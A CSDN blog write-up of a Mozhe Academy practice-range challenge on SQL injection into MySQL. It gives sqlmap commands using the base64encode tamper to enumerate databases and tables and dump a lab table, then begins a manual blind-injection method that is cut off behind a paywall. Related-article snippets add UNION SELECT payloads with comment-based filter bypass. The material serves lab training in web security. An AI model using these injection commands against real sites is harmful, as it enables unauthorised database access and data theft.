墨者学院 - SQL注入实战-MySQL

最新推荐文章于 2023-06-19 21:20:48 发布
最新推荐文章于 2023-06-19 21:20:48 发布
阅读量2k 收藏 5
点赞数
分类专栏： sql Mozhe
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_42357070/article/details/81512470
版权
本文介绍了两种方法进行SQL注入攻击，包括使用sqlmap工具结合base64解码模块，以及手动进行盲注。在sqlmap的帮助下，成功解密参数并暴露出数据库、表名和字段值。手动盲注部分详细阐述了如何判断注入点、猜解字段长度，并逐步揭露数据库信息。
摘要由CSDN通过智能技术生成

两种解法

一、利用sqlmap及其tamper模块base64encode使用

1. 看到id后面的参数可能是base64加密后的结果，我们尝试解密，解密结果为1

2.查看当前的系统信息

sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tamper=base64encode

3.暴库

sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tamper=base64encode --level=3 --current-db

4.爆表

sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tables -D test

5.获取key

sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" -T data --dump

二、盲注

首先可以看到该URL中存在一个参数“MQ==”，从参数的格式来看是通过了base64进行了加密，那么我们可以对其进行base64解密

发现解密之后的参数为1，这种类型的注入除了和我们以前的普

最低0.47元/天 解锁文章
多崎巡礼
关注
  • 0
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
墨者学院之SQL注入实战--MySQL
Chris_HackFromCN的博客
08-10 771
目录手工注入工具注入（中转型）欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 手工注入 辅助工具：小葵多功能转换工具 作用：编码解码、加密解密 1.首先，启动靶场环境，根据URL显示，可知目标
墨者学院（POST注入）
2301_77578012的博客
05-19 427
使用burpsuite抓包放在1.txt文件中，并且1.txt放在sqlmap工具。发现存在注入点，并且给出了我们具体执行的payload格式。（如果大家对工具有需求的话可以q我哈）参数后所跟数据也可以通过抓包获取。1.墨者靶场（POST注入）2.sqlmap工具（主要）3.burpsuite工具。，在需要测试参数后加。
墨者学院-SQL注入漏洞测试（报错盲注）
weixin_42939822的博客
03-30 5130
墨者学院-SQL注入漏洞测试（报错盲注）
墨者学院 --SQL注入实战-MySQL
weixin_45914445的博客
05-30 458
一、粗略判断是否存在sql注入 1.访问链接
墨者mysql注入_SQL注入实战-MySQL-墨者学院
weixin_29311017的博客
01-19 224
SQL注入实战-MySQL今天我将用两种方法来讲解，第一种，SQLMap自动化跑数据库，第二种，利用火狐的hackbar来手工注入。【第一种】1.先看这个url：http://219.153.49.228:45709/show.php?id=MQo=，一般来说都是id=一个数字，这个MQo=是属于base64加密，加密规律、规则请参考百度百科。2.用SQLMap的tamper插件，语句：sqlma...
mysql 注入 爆表_墨者学院 – SQL注入实战-MySQLWriteup
weixin_34847099的博客
02-01 208
两种解法一、利用sqlmap及其tamper模块base64encode使用1. 看到id后面的参数可能是base64加密后的结果，我们尝试解密，解密结果为12.查看当前的系统信息sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tamper=base64encode3.暴库sqlmap -u "http://219.153.49...
sql注入-墨者学院SQL手工注入漏洞测试(MySQL数据库)
m0_75178803的博客
04-15 837
猜解列名字段数（数量） order by x 错误与正常的正常值的的连接点。union select 1,2,3,4 页面正常。回到题目上来，我们在id=1后面随意输入一些东西。order by 4，页面正常。order by 1，网站正常。order by 5，页面错误。文章基于小迪sql注入的复现。页面错误，说明id为注入点。我们即可得知有4个字段数。and 1=1 页面正常。and 1=2 页面错误。
墨者SQL注入实战-MySQL
wswr的博客
03-14 1884
思路：实话实话，我前面学的能试的都试了，比方单引号，sleep（）， and 1=1，宽字节，http注入，甚至对这个请求包进行了各种蹂虐，发现真的只要没有MQo这仨是一定不回显别的，所以我想，这应该不仅仅只是过滤了字符，那要从哪方面再来思考呢，还记得前面学了编码绕过吗，后端了做了字符的过滤，我们用编码绕过，有没有一种可能现在是后端做了编码的限制呢，这个时候我们就可以再考，为什么是id=MQo才能回显，就是说MQo的编码方式是正确，那百度一搜就会发现，MQo对应的base64编码是1，好的，那就破案了，这题
墨者 - SQL注入实战-MySQL
吃肉唐僧的博客
07-10 868
按照题目提示，拿MQo=去base64解码，发现是1 tamper是使用SQLMap提供的tamper脚本，可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡，继而进行渗透攻击。这里只要用tamper转base64encode 解码，其他和正常的sqlmap用法没区别 爆库，sqlmap -u http://219.153.49.228:44096/...
墨者学院 X-Forwarded-For注入漏洞实战
crasher123的博客
06-19 1765
SQLMap是一个基于Python编写的工具，因此需要安装Python。可以从Python官方网站下载Python安装包，也可以使用包管理器进行安装。如果Python已经安装，则会显示Python的版本号。请求信息中多加一条X-Forwarded-For:*得到库表名user和login，继续攻击user表。运行后会显示SQLMap的欢迎信息和命令行帮助。得到数据库名称为webcalender，进行扫描。安装burpsuite和sqlmap。2.安装Python。4.运行SQLMap。
墨者学院-HTML前端代码分析(暗链)、HTTP动作练习、IP地址伪造(第2题)
05-29
HTML前端代码分析(暗链)、HTTP动作练习、IP地址伪造(第2题)、phpMyAdmin后台文件包含分析溯源、PHP代码分析溯源(第1题)、PHP代码分析溯源(第2题)、PHP逻辑漏洞利用实战(第1题)、SQL手工注入漏洞测试(Access数据库)
APP原型实例：墨者科技-旅行小蜜APP2.0.rp
12-17
产品经理
0080 APP原型实例：墨者科技-旅行小蜜APP2.0.rp
01-06
rp原型源文件
墨者靶场 post ,DB2,绕过登录，sql注入四关
最新发布
07-22
通关攻略墨者靶场 post ,DB2,绕过登录，sql注入四关
墨者安全软件-免费杀毒软件
11-11
墨者安全专家是一款永久免费的免疫型安全防护软件，集墨者独创的 “革离术”、终身免费杀毒、修复系统漏洞、上网痕迹清理、网络防火墙、系统实时保护、安全互助社区等强大功能于一身。特别是独创的“革离术”，利用...
墨者学院 - SQL注入漏洞测试(POST)
多崎巡礼的博客
08-20 5347
此题和最开始拿到sql注入不一样，注入点不再是公告了，二是登陆页面的账号栏，简单的语句就能得到错误回显 根据题目提示，post请求 1）随便输入用户名和密码，然后使用 burp抓取登录界面的post包，保存为txt； 2）将txt放在sqlmap目录下； 3）打开sqlmap，使用post注入； sqlmap.py -r 文件路径/文件名 --dbs  //证明可以注入，且获取所有数据库名...
墨者学院 - SQL过滤字符后手工注入漏洞测试(第1题)
多崎巡礼的博客
09-28 2680
一开始怎么加字符都不行，才发现应该是检测到我注入以后跳转了； （过滤了空格和一些常规查询字符，“+”号也过滤了，大小写不能绕过那就URL编码吧） 和以往的套路一样，猜得到字段是4个。。。 http://219.153.49.228:44375/new_list.php?id=-1/**/union/**/select/**/1,database(),version(),4 url编码构造如...
墨者学院 - SQL注入漏洞测试(参数加密)
多崎巡礼的博客
09-28 2502
list.php 御剑扫描得到   http://219.153.49.228:48291/news/list.zip 解压得到源码 从decode方法可知：AES的数据块长度为128位，密钥为ydhaqPQnexoaDuW3，偏移量为2018201920202021，填充为zeropadding 第八行 ：判断网页id后面的查询字符串值，先两次base64解密，再AES解密，删除_mo...
墨者-sql手工注入漏洞测试
04-29
墨者安全团队是一支专注于网络安全领域的团队，他们致力于网络安全研究...总的来说，墨者安全团队的手工注入漏洞测试方法比较系统和全面，可以有效地发现目标网站中存在的注入漏洞，从而帮助企业提高网络安全防护水平。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值